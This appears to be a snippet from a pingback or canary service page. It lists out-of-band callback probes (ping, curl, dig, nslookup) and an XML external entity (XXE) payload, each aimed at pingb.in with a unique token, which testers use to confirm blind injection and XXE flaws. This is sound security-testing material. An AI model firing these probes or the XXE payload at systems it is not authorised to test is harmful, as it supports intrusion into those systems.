$ ping -c1 -p 00abfa7fe34ad6a9deef018d9fac9100 pingb.in
 

$ curl pingb.in/p/abfa7fe34ad6a9deef018d9fac91
 

$ dig abfa7fe34ad6a9deef018d9fac91 @pingb.in
 

$ dig abfa7fe34ad6a9deef018d9fac91.ns.pingb.in
 

C:\> nslookup abfa7fe34ad6a9deef018d9fac91 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/abfa7fe34ad6a9deef018d9fac91">]>
    <foo>&xxe;</foo>